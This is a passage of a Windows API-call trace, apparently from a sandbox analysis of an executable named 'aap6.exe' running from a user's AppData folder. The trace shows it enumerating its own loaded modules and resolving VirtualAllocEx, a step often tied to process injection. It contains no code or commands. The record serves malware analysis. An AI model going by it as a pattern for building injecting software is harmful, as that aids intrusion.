	[0116.597] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.598] GetLastError () returned 0xcb
	[0116.598] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x246d1e4, cb=0xc | out: lpmodinfo=0x246d1e4*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.598] GetLastError () returned 0xcb
	[0116.598] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.598] GetLastError () returned 0xcb
	[0116.599] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.599] GetLastError () returned 0xcb
	[0116.599] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x246e37c, cb=0xc | out: lpmodinfo=0x246e37c*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.599] GetLastError () returned 0xcb
	[0116.599] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.600] GetLastError () returned 0xcb
	[0116.600] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.600] GetLastError () returned 0xcb
	[0116.600] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x246f478, cb=0xc | out: lpmodinfo=0x246f478*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.600] GetLastError () returned 0xcb
	[0116.601] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.601] GetLastError () returned 0xcb
	[0116.601] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.601] GetLastError () returned 0xcb
	[0116.602] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x24705b0, cb=0xc | out: lpmodinfo=0x24705b0*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.602] GetLastError () returned 0xcb
	[0116.602] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.603] GetLastError () returned 0xcb
	[0116.603] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.603] GetLastError () returned 0xcb
	[0116.603] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x247173c, cb=0xc | out: lpmodinfo=0x247173c*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.604] GetLastError () returned 0xcb
	[0116.604] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.604] GetLastError () returned 0xcb
	[0116.604] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.605] GetLastError () returned 0xcb
	[0116.605] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x2472920, cb=0xc | out: lpmodinfo=0x2472920*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.605] GetLastError () returned 0xcb
	[0116.605] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.606] GetLastError () returned 0xcb
	[0116.606] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.607] GetLastError () returned 0xcb
	[0116.607] CloseHandle (hObject=0x1ec) returned 1
	[0116.607] GetLastError () returned 0xcb
	[0116.611] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x14a528dd, Data2=0x2124, Data3=0x46b4, Data4=([0]=0xa4, [1]=0x82, [2]=0x80, [3]=0xc4, [4]=0x7b, [5]=0xeb, [6]=0xd4, [7]=0x48))) returned 0x0
	[0116.619] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x788c51c7, Data2=0xcc6b, Data3=0x4482, Data4=([0]=0xac, [1]=0x69, [2]=0xeb, [3]=0xac, [4]=0x97, [5]=0xb3, [6]=0x5b, [7]=0xb9))) returned 0x0
	[0116.630] GetProcAddress (hModule=0x75fb0000, lpProcName="VirtualAllocEx") returned 0x75fdd9b0
	[0116.639] GetCurrentProcessId () returned 0x9f8
	[0116.639] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.639] GetLastError () returned 0xcb
	[0116.639] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x247f02c, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x247f02c, lpcbNeeded=0x3ee204) returned 1
	[0116.639] GetLastError () returned 0xcb
	[0116.640] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x247f16c, cb=0xc | out: lpmodinfo=0x247f16c*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.640] GetLastError () returned 0xcb
	[0116.640] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.640] GetLastError () returned 0xcb
	[0116.640] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.640] GetLastError () returned 0xcb
	[0116.640] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x248029c, cb=0xc | out: lpmodinfo=0x248029c*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.640] GetLastError () returned 0xcb
	[0116.640] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.641] GetLastError () returned 0xcb
	[0116.641] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.641] GetLastError () returned 0xcb
	[0116.641] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x2481390, cb=0xc | out: lpmodinfo=0x2481390*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.641] GetLastError () returned 0xcb
	[0116.641] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.641] GetLastError () returned 0xcb
	[0116.641] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.642] GetLastError () returned 0xcb
	[0116.642] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x248248c, cb=0xc | out: lpmodinfo=0x248248c*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.642] GetLastError () returned 0xcb
	[0116.642] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.642] GetLastError () returned 0xcb
	[0116.642] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.642] GetLastError () returned 0xcb
	[0116.642] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x2483590, cb=0xc | out: lpmodinfo=0x2483590*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.643] GetLastError () returned 0xcb
	[0116.643] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.643] GetLastError () returned 0xcb
	[0116.643] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.643] GetLastError () returned 0xcb
	[0116.643] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x24846cc, cb=0xc | out: lpmodinfo=0x24846cc*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.643] GetLastError () returned 0xcb
	[0116.643] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.644] GetLastError () returned 0xcb
	[0116.644] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.644] GetLastError () returned 0xcb
	[0116.644] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x24857d0, cb=0xc | out: lpmodinfo=0x24857d0*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.644] GetLastError () returned 0xcb
	[0116.644] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.644] GetLastError () returned 0xcb
	[0116.645] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.645] GetLastError () returned 0xcb
	[0116.645] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x24868cc, cb=0xc | out: lpmodinfo=0x24868cc*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.645] GetLastError () returned 0xcb
	[0116.645] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.645] GetLastError () returned 0xcb
	[0116.645] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.646] GetLastError () returned 0xcb
	[0116.646] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x24879c8, cb=0xc | out: lpmodinfo=0x24879c8*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.646] GetLastError () returned 0xcb
	[0116.646] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.646] GetLastError () returned 0xcb
	[0116.646] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.647] GetLastError () returned 0xcb
	[0116.647] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x2488b14, cb=0xc | out: lpmodinfo=0x2488b14*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.647] GetLastError () returned 0xcb
	[0116.647] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.647] GetLastError () returned 0xcb
	[0116.647] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.648] GetLastError () returned 0xcb
	[0116.648] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x2489c10, cb=0xc | out: lpmodinfo=0x2489c10*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.648] GetLastError () returned 0xcb
	[0116.648] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.648] GetLastError () returned 0xcb
	[0116.648] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.648] GetLastError () returned 0xcb
	[0116.649] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x248ad14, cb=0xc | out: lpmodinfo=0x248ad14*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.649] GetLastError () returned 0xcb
	[0116.649] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.649] GetLastError () returned 0xcb
	[0116.649] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.650] GetLastError () returned 0xcb
	[0116.650] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x248be4c, cb=0xc | out: lpmodinfo=0x248be4c*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.650] GetLastError () returned 0xcb
	[0116.650] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.650] GetLastError () returned 0xcb
	[0116.650] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.651] GetLastError () returned 0xcb
	[0116.651] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x248cf48, cb=0xc | out: lpmodinfo=0x248cf48*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.651] GetLastError () returned 0xcb
	[0116.651] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.651] GetLastError () returned 0xcb
	[0116.651] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.652] GetLastError () returned 0xcb
	[0116.652] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x248e03c, cb=0xc | out: lpmodinfo=0x248e03c*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.652] GetLastError () returned 0xcb
	[0116.652] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.652] GetLastError () returned 0xcb
	[0116.653] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.653] GetLastError () returned 0xcb
	[0116.653] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x248f138, cb=0xc | out: lpmodinfo=0x248f138*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.653] GetLastError () returned 0xcb
	[0116.653] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.654] GetLastError () returned 0xcb
	[0116.654] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.654] GetLastError () returned 0xcb
	[0116.654] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x2490224, cb=0xc | out: lpmodinfo=0x2490224*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.654] GetLastError () returned 0xcb
	[0116.654] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.655] GetLastError () returned 0xcb
	[0116.655] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.655] GetLastError () returned 0xcb
	[0116.655] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x24913a8, cb=0xc | out: lpmodinfo=0x24913a8*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.656] GetLastError () returned 0xcb
	[0116.656] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.656] GetLastError () returned 0xcb
	[0116.656] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.657] GetLastError () returned 0xcb
	[0116.657] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x249249c, cb=0xc | out: lpmodinfo=0x249249c*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.657] GetLastError () returned 0xcb
	[0116.657] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.658] GetLastError () returned 0xcb
	[0116.658] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.658] GetLastError () returned 0xcb
	[0116.658] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x2493590, cb=0xc | out: lpmodinfo=0x2493590*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.658] GetLastError () returned 0xcb
	[0116.659] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.659] GetLastError () returned 0xcb
	[0116.659] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.659] GetLastError () returned 0xcb
	[0116.659] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x24946c8, cb=0xc | out: lpmodinfo=0x24946c8*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.660] GetLastError () returned 0xcb
	[0116.660] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.660] GetLastError () returned 0xcb
	[0116.660] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.661] GetLastError () returned 0xcb
	[0116.661] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x249585c, cb=0xc | out: lpmodinfo=0x249585c*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.661] GetLastError () returned 0xcb
	[0116.661] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.662] GetLastError () returned 0xcb
	[0116.662] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.662] GetLastError () returned 0xcb
	[0116.662] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x2496958, cb=0xc | out: lpmodinfo=0x2496958*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.663] GetLastError () returned 0xcb
	[0116.663] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.663] GetLastError () returned 0xcb
	[0116.663] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.664] GetLastError () returned 0xcb
	[0116.664] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x2497a4c, cb=0xc | out: lpmodinfo=0x2497a4c*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.664] GetLastError () returned 0xcb
	[0116.664] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.665] GetLastError () returned 0xcb
	[0116.665] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.665] GetLastError () returned 0xcb
	[0116.665] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x2498b48, cb=0xc | out: lpmodinfo=0x2498b48*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.666] GetLastError () returned 0xcb
	[0116.666] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.666] GetLastError () returned 0xcb
	[0116.666] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.667] GetLastError () returned 0xcb
	[0116.667] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x2499ce0, cb=0xc | out: lpmodinfo=0x2499ce0*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.667] GetLastError () returned 0xcb
	[0116.667] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.668] GetLastError () returned 0xcb
	[0116.668] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.668] GetLastError () returned 0xcb
	[0116.668] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x249addc, cb=0xc | out: lpmodinfo=0x249addc*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.669] GetLastError () returned 0xcb
	[0116.669] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.669] GetLastError () returned 0xcb
